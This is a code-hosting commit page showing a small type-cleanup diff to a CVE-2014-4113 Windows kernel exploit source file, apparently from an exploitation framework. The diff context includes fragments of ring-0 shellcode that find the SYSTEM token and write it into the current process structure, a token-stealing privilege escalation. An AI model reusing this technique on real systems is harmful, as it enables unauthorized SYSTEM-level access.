Skip to content

Commit f43a6e9

Browse files
committed
Use PDWORD_PTR and DWORD_PTR
1 parent 6154b7d commit f43a6e9

File tree

3 files changed

+5
-14
lines changed

3 files changed

+5
-14
lines changed
Binary file not shown.
Binary file not shown.

external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c

Lines changed: 5 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -24,15 +24,6 @@ typedef NTSTATUS *PNTSTATUS;
2424

2525
#define PTR_SIZE sizeof(UINT_PTR)
2626

27-
28-
#ifdef _M_X64
29-
typedef DWORD64 MYWORD;
30-
typedef PDWORD64 PMYWORD;
31-
#else
32-
typedef DWORD MYWORD;
33-
typedef PDWORD PMYWORD;
34-
#endif
35-
3627
typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
3728
IN HANDLE ProcessHandle,
3829
IN PVOID *BaseAddress,
@@ -146,9 +137,9 @@ DWORD_PTR __stdcall get_threadinfo_ptr(void)
146137

147138

148139
// Search the specified data structure for a member with CurrentValue.
149-
BOOL find_and_replace_member(PMYWORD pdwStructure, MYWORD dwCurrentValue, MYWORD dwNewValue, MYWORD dwMaxSize)
140+
BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
150141
{
151-
MYWORD dwIndex, dwMask;
142+
DWORD_PTR dwIndex, dwMask;
152143

153144
// Microsoft QWORD aligns object pointers, then uses the lower three
154145
// bits for quick reference counting.
@@ -189,9 +180,9 @@ int _stdcall shellcode_ring0(int one, int two, int three, int four)
189180
systemToken = pPsReferencePrimaryToken(pSystemInfo);
190181

191182
// Find the token in the target process, and replace with the system token.
192-
find_and_replace_member((PMYWORD)pMyProcessInfo,
193-
(MYWORD)targetToken,
194-
(MYWORD)systemToken,
183+
find_and_replace_member((PDWORD_PTR)pMyProcessInfo,
184+
(DWORD_PTR)targetToken,
185+
(DWORD_PTR)systemToken,
195186
0x200);
196187
return 0;
197188
}

0 commit comments

Comments
 (0)